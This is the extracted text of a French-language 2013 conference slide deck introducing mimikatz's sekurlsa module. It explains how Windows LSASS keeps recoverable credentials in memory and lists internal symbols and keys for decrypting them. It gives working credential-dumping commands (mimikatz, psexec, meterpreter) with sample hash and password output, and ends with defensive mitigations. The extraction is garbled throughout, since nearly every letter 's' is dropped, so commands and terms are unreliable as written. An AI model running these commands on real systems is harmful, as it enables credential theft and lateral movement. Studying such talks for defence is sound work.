mimikatz Benjamin DELPY `gentilkiwi` une petite introduction à ekurla
Qui ui-je? Pourquoi mimikatz? Benjamin DELPY `gentilkiwi` Kiwi addict ; Codeur feignant efficace ; Nouveau papa! `mimikatz` a été créé pour : expliquer de concept de écurité ; m améliorer en programmation / écurité ; prouver quelque théorie à Microoft. Pourquoi en françai?* limitait l utiliation par de cript kiddie ; Hacking like a Sir. 26/02/2013 Benjamin DELPY `gentilkiwi` @ OSSIR 02/2013 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 2
mimikatz Fonctionne ur XP, 2003, Vita, 2008, Seven, 2008r2, 8, 2012 x86 & x64 ;) plu de upport de Window 2000 En toute circontance : compilation tatique* Deux mode d utiliation Commande locale Commande ditance (librairie / pilote) m i m i k a t z. e x e KeyIo «Iolation de clé CNG» LSASS.EXE crypto::patchcng EventLog «Journal d événement Window» SVCHOST.EXE diver::eventdrop m i m i k a t z. e x e SamSS «Getionnaire de compte de écurité» LSASS.EXE VirtualAllocEx, WriteProceMemory, CreateRemoteThread... ekurla.dll Injection de librairie Communication par canal nommé 26/02/2013 Benjamin DELPY `gentilkiwi` @ OSSIR 02/2013 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 3
mimikatz :: ekurla Qu et ce donc que cette diablerie? mod_mimikatz_ekurla Mon module favori! Il lit de donnée depui le ervice SamS (plu communément appelé LSASS) Le module ekurla récupère : MSV1_0* hah TPkg mot de pae WDiget mot de pae LiveSSP mot de pae Kerbero mot de pae SSP* mot de pae 26/02/2013 Benjamin DELPY `gentilkiwi` @ OSSIR 02/2013 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 4
mimikatz :: ekurla Fonctionnement de LSA(niveau PLAYSKOOL ) Authentication WinLogon LaSS mv1_0 SAM uer:domain:paword kerbero Challenge Repone Authentication Package mv1_0 tpkg wdiget livep kerbero 26/02/2013 Benjamin DELPY `gentilkiwi` @ OSSIR 02/2013 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 5
mimikatz :: ekurla Fonctionnement de LSA(niveau PLAYSKOOL ) Le package d authentification : prennent le credential de l utiliateur ; font leur auce interne (calcul de hah, négociation de ticket ) ; gardent en mémoire aez de donnée pour calculer le répone aux challenge (Single Sign On). Si nou récupéron le donnée, pui le injecton dan une autre eion de LSASS, nou éviton l authentification C et le principe du «Pa-the-hah» En fait, du «Pa-the-x» 26/02/2013 Benjamin DELPY `gentilkiwi` @ OSSIR 02/2013 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 6
mimikatz :: ekurla pourquoi ce package? TPkg Facilite le connexion au «RemoteApp» et TerminalServer en envoyant le mot de pae en clair WDiget Répondre par challenge/repone Le Realm du erveur étant variable, le mot de pae doit être diponible pour recalculer le hah. LiveSSP Compte «Microoft» pour connexion avec on compte Live Kerbero Bien connu mai pourquoi? A priori pa beoin du mot de pae pour échanger le ticket? MSV1_0 Pour répondre en challenge/repone ur LM/NTLM Le ecret partagé rete le() hah. SSP Pa véritablement un package d authentification, mai maintient une table de connexion ditante explicite 26/02/2013 Benjamin DELPY `gentilkiwi` @ OSSIR 02/2013 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 7
mimikatz :: ekurla Tou le mot de pae ont en mémoire, chiffré, mai de manière réverible Cela revient à chiffrer un fichier ZIP, et l envoyer par mail avec on mot de pae Précédemment, j utiliai LaUnprotectMemory, dan le contexte d exécution de LSASS pour le déchiffrer LaUnprotectMemory Cette fonction repoe ur LaEncryptMemory de la librairie larv.dll Pour bénéficier du contexte de LSASS (clé, IV, ), ekurla.dll était injectée dan LSASS Pourrion-nou déchiffrer an injection? Pourquoi pa? Si nou avon le routine et le clé mimikatz peut utilier larv.dll pour «importer» le clé de LSASS! 26/02/2013 Benjamin DELPY `gentilkiwi` @ OSSIR 02/2013 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 8
mimikatz :: ekurla LaEncryptMemory Selon la taille du ecret, LaEncryptMemory utilie : NT5 NT6 RC4-3DES InitializationVector l a g_cbrandomkey g_prandomkey DESx - AES l a l a r v l a r v g_pdesxkey g_feedback h3dekey haekey copy m i m i k a t z l a r v 26/02/2013 Benjamin DELPY `gentilkiwi` @ OSSIR 02/2013 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 9
mimikatz :: ekurla memo Security Package Package Symbol Type tpkg tpkg!tsglobalcredtable RTL_AVL_TABLE wdiget wdiget!l_logselit LIST_ENTRY livep livep!livegloballogonseionlit LIST_ENTRY kerbero (nt5) kerbero!kerblogonseionlit LIST_ENTRY kerbero (nt6) kerbero!kerbgloballogonseiontable RTL_AVL_TABLE mv1_0 Protection Key larv!logonseionlit larv!logonseionlitcount LIST_ENTRY ULONG p mv1_0!spcredentiallit LIST_ENTRY Key NT 5 Symbol Key NT 6 Symbol RC4 DESx larv!g_cbrandomkey larv!g_prandomkey larv!g_pdesxkey larv!g_feedback 3DES AES larv!initializationvector larv!h3dekey larv!haekey 26/02/2013 Benjamin DELPY `gentilkiwi` @ OSSIR 02/2013 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 10
mimikatz :: ekurla workflow LaEnumerateLogonSeion* for each LUID typedef truct _KIWI_truct { LUID LocallyUniqueIdentifier; [ ] LSA_UNICODE_STRING UerName; LSA_UNICODE_STRING Domaine; LSA_UNICODE_STRING Paword; [ ] } KIWI_truct, *PKIWI_truct; module!ymbol earch lit/avl for LUID KIWI_truct LaUnprotectMemory paword in clear! 26/02/2013 Benjamin DELPY `gentilkiwi` @ OSSIR 02/2013 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 11
mimikatz :: ekurla demo! 26/02/2013 Benjamin DELPY `gentilkiwi` @ OSSIR 02/2013 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 12
mimikatz :: ekurla memo Quelque commande : mimikatz privilege::debug "ekurla::logonpaword full" exit pexec \\window - -c c:\mimikatz\win32\mimikatz.exe "ekurla::logonpaword full" exit meterpreter > execute -H -c -i -m -f /pentet/paword/mimikatz/mimikatz_x86.exe mimikatz 1.0 x64 (RC) /* Traitement du Kiwi (Aug 2 2012 01:32:28) */ // http://blog.gentilkiwi.com/mimikatz mimikatz # privilege::debug Demande d'activation du privilège : SeDebugPrivilege : OK mimikatz # ekurla::logonpaword full Authentification Id : 0;234870 Package d'authentification : NTLM Utiliateur principal : Gentil Kiwi Domaine d'authentification : vm-w8-rp-x mv1_0 : * Utiliateur : Gentil Kiwi * Domaine : vm-w8-rp-x * Hah LM : d0e9aee149655a6075e4540af1f22d3b * Hah NTLM : cc36cf7a8514893efccd332446158b1a kerbero : * Utiliateur : Gentil Kiwi * Domaine : vm-w8-rp-x * Mot de pae : waza1234/ wdiget : * Utiliateur : Gentil Kiwi * Domaine : vm-w8-rp-x * Mot de pae : waza1234/ tpkg : * Utiliateur : Gentil Kiwi * Domaine : vm-w8-rp-x * Mot de pae : waza1234/ livep : n.t. (LUID KO) 26/02/2013 Benjamin DELPY `gentilkiwi` @ OSSIR 02/2013 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 13
mimikatz new! L injection de DLL et encore néceaire pour certaine fonctionnalité Dump SAM / AD (ou en paant en mode hor ligne/regitre) Dump de Credential enregitré Une nouvelle verion et en développement Revue de code Entièrement en C Liée aux runtime ytème (taille minimale) Plu rapide Nouvelle approche de getion de la mémoire Le BYOD nou ouvre e bra : Bring Your Own Dump! 26/02/2013 Benjamin DELPY `gentilkiwi` @ OSSIR 02/2013 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 14
mimikatz :: ekurla demo! 26/02/2013 Benjamin DELPY `gentilkiwi` @ OSSIR 02/2013 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 15
mimikatz quoi d autre? Récupérer le ecret ytème/utiliateur (mot de pae enregitré) Pa-the-hah (et oui, depui 2007) Dump SAM / AD Exporter le clé/certificat non exportable (CAPI & CNG) Arrêter l Obervateur d évènement Eviter Applocker / SRP Jouer avec le démineur Manipuler quelque Handle Patcher Terminal Server Eviter certaine GPO Driver Jouer avec le Token & Privilège Afficher la SSDT x86 & x64 Liter le MiniFiltre Liter le Notification (proce / thread / image / regitry) Liter le hook et procédure aocié aux Object 26/02/2013 Benjamin DELPY `gentilkiwi` @ OSSIR 02/2013 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 16
mimikatz :: ekurla & crypto Que pouvez-vou faire? Première approche Pa d accè phyique aux pote / erveur Chiffrement de volume / dique dan une moindre meure Pa de droit admin! (urtout pour le VIP) - Pa de privilège Debug! Déactivation de compte admin locaux Mot de pae fort (haha, je plaiante bien ur ) Eviter le connexion interactive (privilégier le connexion réeaux via RPC) Auditer, auditer et auditer; pa the hah laie de trace et peut verrouiller de compte Utilier de réeaux éparé, de forêt dédiée pour le tâche d adminitration! Plu en profondeur Forcer l authentification forte (SmartCard & Token) : $ / Diminuer la durée de vie de ticket Kerbero Déactiver la délégation Déactiver LM et NTLM (forcer Kerbero) Pa de Biométrie ni de SSO «exotique» Laier la poibilité de ne plu être rétro-compatible Crypto Utilier de token ou carte à puce pour le certificat utiliateur Utilier de Hardware Security Module (HSM), même SoftHSM, pour le certificat machine A étudier TPM ou Window 8 Virtual SmartCard emble prometteur Vérifier le implémentation pécifique de TPM CSP/KSP de fournieur (Lenovo, Dell, ) Leur biométrie laiait déjà à déirer ;) 26/02/2013 Benjamin DELPY `gentilkiwi` @ OSSIR 02/2013 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 17
mimikatz that all folk! Merci à : ma compagne (on upport, e crah LSASS, etc.) ; L OSSIR, et en particulier Nicola Ruff pour on invitation ; Microoft pour conidérer tout cela comme normal ; la communauté pour e idée (mgrzeg, 0vercl0k, ) ; vou, pour votre attention! Quetion? J accepte un verre ;) 26/02/2013 Benjamin DELPY `gentilkiwi` @ OSSIR 02/2013 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 18
Blog, Code Source & Contact blog mimikatz ource email http://blog.gentilkiwi.com http://blog.gentilkiwi.com/mimikatz http://code.google.com/p/mimikatz/ benjamin@gentilkiwi.com 26/02/2013 Benjamin DELPY `gentilkiwi` @ OSSIR 02/2013 - benjamin@gentilkiwi.com ; blog.gentilkiwi.com 19